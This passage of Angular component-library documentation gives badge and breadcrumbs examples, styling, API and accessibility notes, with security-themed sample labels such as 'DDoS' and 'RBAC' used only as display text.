            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Fade Warning</div>
            <kbq-badge [badgeColor]="colors.FadeWarning" [outline]="true">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Fade Success</div>
            <kbq-badge [badgeColor]="colors.FadeSuccess" [outline]="true">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Fade Contrast</div>
            <kbq-badge [badgeColor]="colors.FadeContrast" [outline]="true">Badge</kbq-badge>
        </div>
    </div>
    <div class="layout-row layout-gap-l">
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Disabled</div>
            <kbq-badge [badgeColor]="colors.Disabled">Badge</kbq-badge>
        </div>
        <div class="example-badge-fill-and-style__badge">
            <div class="example-badge-fill-and-style__badge-label kbq-text-compact">Outline Disabled</div>
            <kbq-badge [badgeColor]="colors.Disabled" [outline]="true">Badge</kbq-badge>
        </div>
    </div>
</div>
```

```css badge-overview-example.css
.example-badge-fill-and-style {
    display: flex;
    flex-direction: column;
    gap: 20px;
    min-width: calc(100px * 5 + 16px * 4);
}

.example-badge-fill-and-style__badge-label {
    color: var(--kbq-foreground-contrast-secondary);
    margin-bottom: 8px;
}

.example-badge-fill-and-style__badge {
    width: 100px;
}
```

##### Size

**Example: Badge size** (`badge-size`)

```ts badge-size-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';

@Component({
    selector: 'badge-size-example',
    imports: [
        KbqBadgeModule
    ],
    template: `
        <div class="layout-row layout-gap-l">
            <kbq-badge [badgeColor]="colors.Success">Normal</kbq-badge>
            <kbq-badge [badgeColor]="colors.Success" [compact]="true">Compact</kbq-badge>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeSizeExample {
    colors = KbqBadgeColors;
}
```

##### Content

**Example: Badge content** (`badge-content`)

```ts badge-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'badge-content-example',
    imports: [
        KbqBadgeModule,
        KbqIconModule
    ],
    template: `
        <div class="layout-row layout-gap-l">
            <kbq-badge [badgeColor]="colors.Success">Normal</kbq-badge>
            <kbq-badge [badgeColor]="colors.Success">
                Normal
                <div class="kbq-badge-caption">0.8</div>
            </kbq-badge>
            <kbq-badge [badgeColor]="colors.Success">
                <i kbq-icon="kbq-cloud-o_16"></i>
                Normal
            </kbq-badge>
            <kbq-badge [badgeColor]="colors.Success">
                Normal
                <i kbq-icon="kbq-cloud-o_16"></i>
            </kbq-badge>
            <kbq-badge [badgeColor]="colors.Success">
                <i kbq-icon="kbq-cloud-o_16"></i>
                Normal
                <div class="kbq-badge-caption">0.8</div>
                <i kbq-icon="kbq-cloud-o_16"></i>
            </kbq-badge>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeContentExample {
    colors = KbqBadgeColors;
}
```

#### Usage examples

##### Badge list

Badges can be displayed in a row or in a column.

**Example: Badge list** (`badge-list`)

```ts badge-list-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';

@Component({
    selector: 'badge-list-example',
    imports: [
        KbqBadgeModule
    ],
    template: `
        <div class="badge-list-example">
            <div class="example-badge-list__label kbq-text-compact">Horizontal</div>
            <div class="example-badge-list__list">
                @for (badge of badges; track badge) {
                    <kbq-badge [badgeColor]="badge.color">{{ badge.name }}</kbq-badge>
                }
            </div>
            <div class="example-badge-list__label layout-margin-top-l kbq-text-compact">Vertical</div>
            <div class="example-badge-list__list example-badge-list__list_vertical">
                @for (badge of badges; track badge) {
                    <kbq-badge [badgeColor]="badge.color">{{ badge.name }}</kbq-badge>
                }
            </div>
        </div>
    `,
    styleUrls: ['badge-list-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeListExample {
    colors = KbqBadgeColors;

    badges: { name: string; color: string }[] = [
        { name: 'Bruteforce', color: this.colors.FadeContrast },
        { name: 'Complex Attack', color: this.colors.FadeContrast },
        { name: 'DDoS', color: this.colors.FadeContrast },
        { name: 'DoS', color: this.colors.FadeContrast },
        { name: 'HIPS Alert', color: this.colors.FadeContrast },
        { name: 'IDS/IPS Alert', color: this.colors.FadeContrast },
        { name: 'Identity Theft', color: this.colors.FadeContrast },
        { name: 'Miscellaneous', color: this.colors.FadeContrast },
        { name: 'Network Attack', color: this.colors.FadeContrast },
        { name: 'Post Compromise', color: this.colors.FadeContrast }
    ];
}
```

```css badge-list-example.css
.example-badge-list__list {
    display: flex;
    flex-wrap: wrap;
    gap: 4px;
    margin-top: 10px;
}

.example-badge-list__list_vertical {
    flex-direction: column;
    align-items: flex-start;
}

.example-badge-list__label {
    color: var(--kbq-foreground-contrast-secondary);
}
```

##### Tooltip with explanation

On hover or focus, a tooltip with an explanation or additional information can be shown.

**Example: Badge tooltip** (`badge-tooltip`)

```ts badge-tooltip-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'badge-tooltip-example',
    imports: [
        KbqBadgeModule,
        KbqToolTipModule
    ],
    template: `
        <div class="example-badge-tooltip">
            <kbq-badge
                [badgeColor]="colors.FadeContrast"
                [kbqPlacement]="PopUpPlacements.Top"
                [kbqTooltipArrow]="false"
                [kbqTooltip]="tooltipText"
            >
                DoS
            </kbq-badge>
        </div>
    `,
    styleUrls: ['badge-tooltip-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeTooltipExample {
    colors = KbqBadgeColors;
    protected readonly PopUpPlacements = PopUpPlacements;

    tooltipText =
        'DoS (аббр. англ. denial-of-service attack «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести ее до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не смогут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ будет затруднен';
}
```

```css badge-tooltip-example.css
.example-badge-tooltip {
    display: flex;
    justify-content: center;

    kbq-badge {
        cursor: help;
    }
}
```

##### In a table

The label inside the badge is aligned to the text baseline in a table.

**Example: Badge table** (`badge-table`)

```ts badge-table-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqLink } from '@koobiq/components/link';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'badge-table-example',
    imports: [
        KbqBadgeModule,
        KbqLink,
        KbqTableModule
    ],
    templateUrl: 'badge-table-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BadgeTableExample {
    colors = KbqBadgeColors;
}
```

```html badge-table-example.html
<table kbq-table class="docs-table-example badge-table-example">
    <thead>
        <tr>
            <th style="width: 33.3%">Столбец 1</th>
            <th style="width: 33.3%">Столбец 2</th>
            <th style="width: 33.3%">Столбец 3</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Значение</td>
            <td><kbq-badge [badgeColor]="colors.FadeContrast">Badge</kbq-badge></td>
            <td>EXT. Использование фишинговых ресурсов (phishingAttacks)</td>
        </tr>
        <tr>
            <td>
                <a kbqLink href="https://koobiq.io/en/components/badge">Ссылка</a>
                &nbsp;
                <kbq-badge [badgeColor]="colors.FadeContrast" [compact]="true">Badge</kbq-badge>
            </td>
            <td>
                Обнаружена попытка получить список процессов, запущенных в системе, на узле
                qa-kolobok.mpqa.rd.koobiq.com
            </td>
            <td>
                <kbq-badge [badgeColor]="colors.FadeSuccess" [outline]="true">Badge</kbq-badge>
            </td>
        </tr>
    </tbody>
</table>
```

#### Recommendations

- Badges can be used on their own, while [tags](https://koobiq.io/en/components/tag.md) are more often part of other controls: [Select](https://koobiq.io/en/components/select.md#multiple-selection), [Tag autocomplete](https://koobiq.io/en/components/tag-autocomplete.md), [Tag input](https://koobiq.io/en/components/tag-input.md).
- Don't overuse badges: the screen quickly turns into a colorful garland and emphasis is lost.
- A list of tags can draw excessive attention. Elements can be displayed separated by commas, interpuncts, or small indentation.

### API

#### Components

##### KbqBadge (component)

Component used to highlight the status, count or another important characteristic of an object.

```ts
@Component({ selector: 'kbq-badge' })
class KbqBadge {
    readonly compact = input<boolean>(false);
    readonly outline = input<boolean>(false);
    readonly badgeColor = input<string>(KbqBadgeColors.FadeContrast);
}
```

- `[compact]`: `boolean` — Whether the badge uses the compact size.
- `[outline]`: `boolean` — Whether the badge is outlined instead of filled.
- `[badgeColor]`: `string` — Color of the badge. An empty, `null` or `undefined` value falls back to the default, so a read of the
  signal reports the color the badge actually renders in. Defaults to `'fade-contrast'`.

#### Directives

##### KbqBadgeCaption (directive)

Directive that marks the caption part of a badge.

```ts
@Directive({ selector: '[kbq-badge-caption]' })
class KbqBadgeCaption {}
```

#### Enums

##### KbqBadgeColors (enum)

Colors supported by the badge.

```ts
enum KbqBadgeColors {
    FadeContrast = 'fade-contrast',
    FadeTheme = 'fade-theme',
    FadeSuccess = 'fade-success',
    FadeWarning = 'fade-warning',
    FadeError = 'fade-error',
    Contrast = 'contrast',
    Theme = 'theme',
    Success = 'success',
    Warning = 'warning',
    Error = 'error',
    Disabled = 'disabled'
}
```

## Breadcrumbs

- Entry point: `@koobiq/components/breadcrumbs`
- NgModule: `KbqBreadcrumbsModule`
- Page: https://koobiq.io/en/components/breadcrumbs/overview

### Overview

Breadcrumbs are a navigation element that helps users easily orient themselves on a website and understand their current location relative to the main page.

**Example: Breadcrumbs overview** (`breadcrumbs-overview`)

```ts breadcrumbs-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'breadcrumbs-overview-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item
                    [routerLink]="breadcrumb.url"
                    [queryParams]="{ queryParams: 'queryParam' }"
                    [fragment]="'fragment'"
                    [text]="breadcrumb.label"
                />
            }
        </nav>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsOverviewExample {
    breadcrumbs = [
        { label: 'Main', url: '/main' },
        { label: 'Standards', url: '/main/standards' },
        { label: 'Advanced Encryption Standard', url: '/main/standards/advanced-encryption-standard' },
        { label: 'Edit', url: '/main/standards/advanced-encryption-standard/edit' }
    ];
}
```

#### Sizes

Breadcrumbs come in several sizes to offer more flexibility for adapting to different interfaces.

**Example: Breadcrumbs sizes** (`breadcrumbs-size`)

```ts breadcrumbs-size-example.ts
import { TitleCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqDefaultSizes } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'breadcrumbs-size-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule,
        KbqDl,
        KbqDt,
        KbqDd,
        TitleCasePipe
    ],
    template: `
        <kbq-dl [vertical]="true">
            @for (size of sizes; track size) {
                <kbq-dt class="kbq-text-normal">{{ size | titlecase }}</kbq-dt>
                <kbq-dd>
                    <nav kbq-breadcrumbs [size]="size">
                        @for (breadcrumb of breadcrumbs; track breadcrumb; let last = $last) {
                            <kbq-breadcrumb-item
                                [routerLink]="breadcrumb.url"
                                [queryParams]="{ queryParams: 'queryParams' }"
                                [fragment]="'fragment'"
                                [text]="breadcrumb.label"
                            />
                        }
                    </nav>
                </kbq-dd>
            }
        </kbq-dl>
    `,
    styles: `
        :host .kbq-dl.kbq-dl_vertical .kbq-dd {
            max-width: 100%;
            container-type: inline-size;
            box-sizing: border-box;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsSizeExample {
    breadcrumbs = [
        { label: 'Information Security', url: '/information-security' },
        { label: 'Access Control', url: '/information-security/access-control' },
        { label: 'Authorization', url: '/information-security/access-control/authorization' },
        { label: 'RBAC', url: '/information-security/access-control/authorization/rbac' },
        { label: 'Roles', url: '/information-security/access-control/authorization/rbac/roles' }
    ];
    sizes: KbqDefaultSizes[] = ['compact', 'normal', 'big'];
}
```

#### Dropdown Elements in Breadcrumbs

**Example: Breadcrumbs sizes** (`breadcrumbs-dropdown`)

```ts breadcrumbs-dropdown-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'breadcrumbs-dropdown-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDropdownModule
    ],
    template: `
        <nav kbq-breadcrumbs>
            <kbq-breadcrumb-item
                routerLink="./info-sec"
                text="Information Security"
                [queryParams]="{ queryParams: 'queryParams' }"
                [fragment]="'fragment'"
            />

            <kbq-breadcrumb-item
                routerLink="./access-control"
                text="Access Control"
                [queryParams]="{ queryParams: 'queryParams' }"
                [fragment]="'fragment'"
            />

            <kbq-breadcrumb-item
                routerLink="./authorization"
                text="Authorization"
                [queryParams]="{ queryParams: 'queryParams' }"
                [fragment]="'fragment'"
            />

            <kbq-breadcrumb-item>
                <div *kbqBreadcrumbView>
                    <button kbq-button kbqBreadcrumb [kbqDropdownTriggerFor]="siblingsListDropdown">
                        Access Control
                        <i kbq-icon="kbq-chevron-down-s_16"></i>
                    </button>
                </div>
            </kbq-breadcrumb-item>
        </nav>

        <kbq-dropdown #siblingsListDropdown="kbqDropdown">
            <a kbq-dropdown-item routerLink="./RBAC">RBAC</a>
            <a kbq-dropdown-item routerLink="./ABAC">ABAC</a>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsDropdownExample {}
```

#### Custom Template

**Example: Breadcrumbs custom-template** (`breadcrumbs-custom-template`)

```ts breadcrumbs-custom-template-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'breadcrumbs-custom-template-example',
    imports: [
        RouterLink,
        KbqButtonModule,
        KbqIconModule,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item [routerLink]="breadcrumb.url" [text]="breadcrumb.label">
                    <a
                        *kbqBreadcrumbView
                        tabindex="-1"
                        kbq-button
                        kbqBreadcrumb
                        [focusable]="!$last"
                        [routerLink]="breadcrumb.url"
                        [disabled]="$last"
                        [attr.aria-current]="$last ? 'page' : null"
                    >
                        {{ breadcrumb.label }}
                        <i kbq-icon="kbq-file-code-o_16"></i>
                    </a>
                </kbq-breadcrumb-item>
            }
        </nav>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsCustomTemplateExample {
    breadcrumbs = [
        { label: 'Information Security', url: '/information-security' },
        { label: 'Access Control', url: '/information-security/access-control' },
        { label: 'Authorization', url: '/information-security/access-control/authorization' },
        { label: 'RBAC', url: '/information-security/access-control/authorization/rbac' },
        { label: 'Roles', url: '/information-security/access-control/authorization/rbac/roles' }
    ];
}
```

Two directives shape what a trail renders. `kbqBreadcrumbView` replaces the content of a single item, and `kbqBreadcrumbsSeparator` replaces the separator of the whole trail.

#### Number of Visible Items

`max` caps how many items the trail shows at once; the rest collapse into a dropdown behind an expand button. The button takes one of the slots, so `[max]="4"` renders three items plus the button. `[max]="null"` removes the cap and leaves the collapsing to the available width alone.

Give every `kbq-breadcrumb-item` a `routerLink`: the dropdown rebuilds the collapsed items from `text` and `routerLink`, so an item without a destination becomes a row that leads nowhere.

#### Disabled State

`disabled` turns the whole trail read-only: every item and the expand button stop navigating and leave the tab order.

```ts
@Component({
    template: `
        <nav
            kbq-breadcrumbs
            [disabled]="isReadOnly"
            >...
        </nav>
    `
})
```

Individual items have their own `disabled` input, which does the same for one item only.

#### Item Truncation

Breadcrumb items can have names of varying lengths.\
The modes below are recipes rather than component inputs: each one is a block of CSS the consuming application applies to the rendered items, and the examples carry it in their own `styles`. Copy the styles along with the markup.

##### Truncation by Name Length

A standard truncation method where a name that does not fit the set width is cut off with an ellipsis.

**Example: Breadcrumbs Truncate Head Items** (`breadcrumbs-truncate-head-items`)

```ts breadcrumbs-truncate-head-items-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'breadcrumbs-truncate-head-items-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav class="example-breadcrumbs_truncate-by-length" kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item
                    [routerLink]="breadcrumb.url"
                    [queryParams]="{ queryParams: 'queryParam' }"
                    [fragment]="'fragment'"
                    [text]="breadcrumb.label"
                />
            }
        </nav>
    `,
    styles: `
        /* A width is all a breadcrumb needs to truncate: the button already ships the contract
           (\`.kbq-button-wrapper\` is a flex box with \`min-width: 0\`, \`.kbq-button-text\` carries the
           ellipsis), and overriding the wrapper is what used to break it. */
        .example-breadcrumbs_truncate-by-length {
            .kbq-breadcrumb-item {
                max-width: 124px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class BreadcrumbsTruncateHeadItemsExample {
    breadcrumbs = [
        { label: 'Components', url: '/components' },
        { label: 'Commit', url: '/components/commit' },
        {
            label: 'cacb86c728451b57740706d19429e6629140b7c5',
            url: '/components/commit/cacb86c728451b57740706d19429e6629140b7c5'
        }
    ];
}
```

##### Truncation to the Tail

Used in cases where highlighting a unique identifier at the end of the name is necessary.

**Example: Breadcrumbs Truncate Tail Items** (`breadcrumbs-truncate-tail-items`)

```ts breadcrumbs-truncate-tail-items-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'breadcrumbs-truncate-tail-items-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav class="example-breadcrumbs_truncate-last-by-length-reverse" kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item
                    [routerLink]="breadcrumb.url"
                    [queryParams]="{ queryParams: 'queryParams' }"
                    [fragment]="'fragment'"
                    [text]="breadcrumb.label"
                />
            }
        </nav>
    `,
    styles: `
        .example-breadcrumbs_truncate-last-by-length-reverse {
            .kbq-breadcrumb-item:last-of-type {
                max-width: 96px;

                /* The button already truncates its label; this only moves the ellipsis to the front, so the
                   part that tells the reports apart stays readable. */
                .kbq-button-text {
                    direction: rtl;
                }
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class BreadcrumbsTruncateTailItemsExample {
    breadcrumbs = [
        { label: 'Main', url: '/main' },
        { label: 'Users', url: '/main/users' },
        { label: 'Report №123456789', url: '/main/users/report-123456789' }
    ];
}
```

##### Middle Section Truncation

For cases when it is necessary to highlight the beginning and the end of the title.

**Example: Breadcrumbs Truncate Center Items** (`breadcrumbs-truncate-center-items`)

```ts breadcrumbs-truncate-center-items-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqEllipsisCenterModule } from '@koobiq/components/ellipsis-center';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'breadcrumbs-truncate-center-items-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule,
        KbqEllipsisCenterModule,
        KbqToolTipModule,
        KbqButtonModule
    ],
    template: `
        <nav class="example-breadcrumbs_truncate-last-by-center" size="compact" kbq-breadcrumbs>
            <kbq-breadcrumb-item routerLink="./groups" text="Groups" />
            <kbq-breadcrumb-item routerLink="./users" text="Users" />

            <kbq-breadcrumb-item text="Report dated 28.08.2018">
                <ng-container *kbqBreadcrumbView>
                    <a routerLink="./report" tabindex="-1">
                        <button aria-current="page" disabled kbq-button kbqBreadcrumb>
                            <span
                                kbqEllipsisCenter="Report dated 28.08.2018"
                                [minVisibleLength]="15"
                                [charWidth]="5"
                                [kbqPlacementPriority]="PopUpPlacements.Bottom"
                                [kbqTooltipArrow]="false"
                            ></span>
                        </button>
                    </a>
                </ng-container>
            </kbq-breadcrumb-item>
        </nav>
    `,
    styles: `
        /* A width is all the breadcrumb needs: the button already ships the truncation contract, and
           kbqEllipsisCenter measures the width the button leaves it. */
        .example-breadcrumbs_truncate-last-by-center {
            .kbq-breadcrumb-item:last-of-type {
                max-width: 124px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class BreadcrumbsTruncateCenterItemsExample {
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

##### Using Abbreviations

For cases where a name can be replaced with a shortened version using a well-known abbreviation. It is important that this abbreviation is already familiar to the service's user audience.

**Example: Breadcrumbs Truncate By Abbreviation Items** (`breadcrumbs-truncate-by-abbrev-items`)

```ts breadcrumbs-truncate-by-abbrev-items-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'breadcrumbs-truncate-by-abbrev-items-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule,
        KbqButtonModule,
        KbqToolTipModule
    ],
    template: `
        <nav kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item
                    [routerLink]="breadcrumb.url"
                    [queryParams]="{ queryParams: breadcrumb }"
                    [fragment]="breadcrumb.longText"
                    [text]="breadcrumb.longText"
                >
                    <a *kbqBreadcrumbView tabindex="-1" [routerLink]="breadcrumb.url">
                        <button
                            kbq-button
                            kbqBreadcrumb
                            [attr.aria-current]="$last ? 'page' : null"
                            [disabled]="$last"
                            [kbqPlacementPriority]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltip]="breadcrumb.longText"
                            [kbqTooltipDisabled]="!breadcrumb.shortText"
                        >
                            {{ breadcrumb.shortText || breadcrumb.longText }}
                        </button>
                    </a>
                </kbq-breadcrumb-item>
            }
        </nav>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsTruncateByAbbrevItemsExample {
    breadcrumbs = [
        { longText: 'Main', url: '/main' },
        { longText: 'Reviews', url: '/main/reviews' },
        {
            longText: 'Advanced Encryption Standard',
            shortText: 'AES',
            url: '/main/reviews/advanced-encryption-standard'
        }
    ];
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

##### Negative Margin

By default, the breadcrumb panel is shifted to the left by `--kbq-breadcrumb-item-negative-margin` using a negative margin. This behavior can be changed using the `firstItemNegativeMargin` property.

For specific breadcrumbs:

```ts
@Component({
    template: `
        <nav
            kbq-breadcrumbs
            [firstItemNegativeMargin]="false"
            >...
        </nav>
    `
})
```

For all breadcrumbs in the module, using **Dependency Injection** with the `kbqBreadcrumbsConfigurationProvider` provider:

```ts
import { kbqBreadcrumbsConfigurationProvider } from '@koobiq/components/breadcrumbs';

@NgModule({
    providers: [
        kbqBreadcrumbsConfigurationProvider({
            firstItemNegativeMargin: false
        })
    ]
})
```

#### Line Breaks

Sometimes, the parent container of breadcrumbs may be compressed in width. In such cases, it is recommended either to use truncation and hide items or to wrap items onto a new line.

##### No Line Break Mode

This mode allows breadcrumbs to adjust to the available space.

**Example: Breadcrumbs Auto Wrap Adaptive** (`breadcrumbs-with-auto-wrap-adaptive`)

```ts breadcrumbs-with-auto-wrap-adaptive-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'example-breadcrumbs',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav wrapMode="auto" kbq-breadcrumbs [max]="null">
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item [routerLink]="breadcrumb.url" [text]="breadcrumb.label" />
            }
        </nav>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: flex-start;
            max-width: 100%;
            min-width: 137px;
            overflow: hidden;
            container-type: inline-size;
            background: var(--kbq-background-bg);
            padding: var(--kbq-size-l);
            border-radius: var(--kbq-size-l);
            box-shadow: var(--kbq-shadow-card);
            box-sizing: border-box;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleBreadcrumbs {
    breadcrumbs = [
        { label: 'Main', url: '/main' },
        { label: 'Standards', url: '/main/standards' },
        { label: 'Advanced Encryption Standard', url: '/main/standards/advanced-encryption-standard' },
        { label: 'Edit', url: '/main/standards/advanced-encryption-standard/edit' },
        { label: 'Test', url: '/main/standards/advanced-encryption-standard/edit/test' }
    ];
}

@Component({
    selector: 'breadcrumbs-with-auto-wrap-adaptive-example',
    imports: [ExampleBreadcrumbs],
    template: `
        <example-breadcrumbs class="layout-margin-bottom-3xl" />
        <example-breadcrumbs class="layout-margin-bottom-l" [style.width.px]="480" />
        <div class="example-description layout-margin-bottom-3xl">
            Automatic truncation is used as a basis when middle items are hidden due to lack of free space.
        </div>

        <example-breadcrumbs class="layout-margin-bottom-l" [style.width.px]="320" />
        <div class="example-description layout-margin-bottom-3xl">
            If space becomes even smaller, the leftmost breadcrumb level is also hidden, leaving only the rightmost
            level visible.
        </div>

        <example-breadcrumbs class="layout-margin-bottom-l" [style.width.px]="137" />
        <div class="example-description layout-margin-bottom-3xl">
            Next, breadcrumbs can only reduce in size when the visible item's name is trimmed to 3 characters.
        </div>
    `,
    styles: `
        .example-description {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsWithAutoWrapAdaptiveExample {}
```

###### When is a Line Break Needed?

If it is necessary to display the breadcrumb values without truncation or hiding items, wrapping items onto a new line can be used.

**Example: Breadcrumbs Wrap** (`breadcrumbs-with-wrap`)

```ts breadcrumbs-with-wrap-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'breadcrumbs-with-wrap-example',
    imports: [KbqBreadcrumbsModule],
    template: `
        <div [style.max-width.px]="320">
            <nav wrapMode="wrap" kbq-breadcrumbs [firstItemNegativeMargin]="false">
                @for (breadcrumb of breadcrumbs; track breadcrumb) {
                    <kbq-breadcrumb-item [text]="breadcrumb.label" />
                }
            </nav>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsWithWrapExample {
    breadcrumbs = [
        { label: 'Main' },
        { label: 'Standards' },
        { label: 'Advanced Encryption Standard' },
        { label: 'Edit' },
        { label: 'Test' }
    ];
}
```

#### Accessibility

The trail is a navigation landmark. On `<kbq-breadcrumbs>` the `navigation` role is written for you; `<nav kbq-breadcrumbs>` carries it already.

Its accessible name comes from the active locale. Whenever a page renders more than one trail, name them apart with `aria-label` so assistive technology can tell which is which:

```html
<nav kbq-breadcrumbs aria-label="Section navigation">...</nav>
```

The default separator is hidden from assistive technology, so the punctuation between items is not read out. A separator supplied through `kbqBreadcrumbsSeparator` has to do the same:

```html
<ng-template kbqBreadcrumbsSeparator>
    <span aria-hidden="true">→</span>
</ng-template>
```

The last item of a trail is marked `aria-current="page"`. A trail that does not end at the current page — a detail view reached from a list, for example — can mark the current item itself with the `current` input.

#### Keyboard Navigation

| Key                      | Behavior                                                                                                                                                                                                                                                                                                                                                                                                      |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tab                      | Navigate to the start of the breadcrumbs: When the focus switches to breadcrumbs, the cursor automatically moves to the first item in the navigation path.                                                                                                                                                                                                                                                    |
| Enter \ Space            | Activates the item. Navigation to a link: If the selected item corresponds to a link to another page, navigation occurs. Expand a dropdown: For items with dropdown lists, the list opens, and the focus shifts to the first item in the list. Trigger an action: If the item has an associated action (e.g., opening a modal window), the action is performed. No action: For other items, no actions occur. |
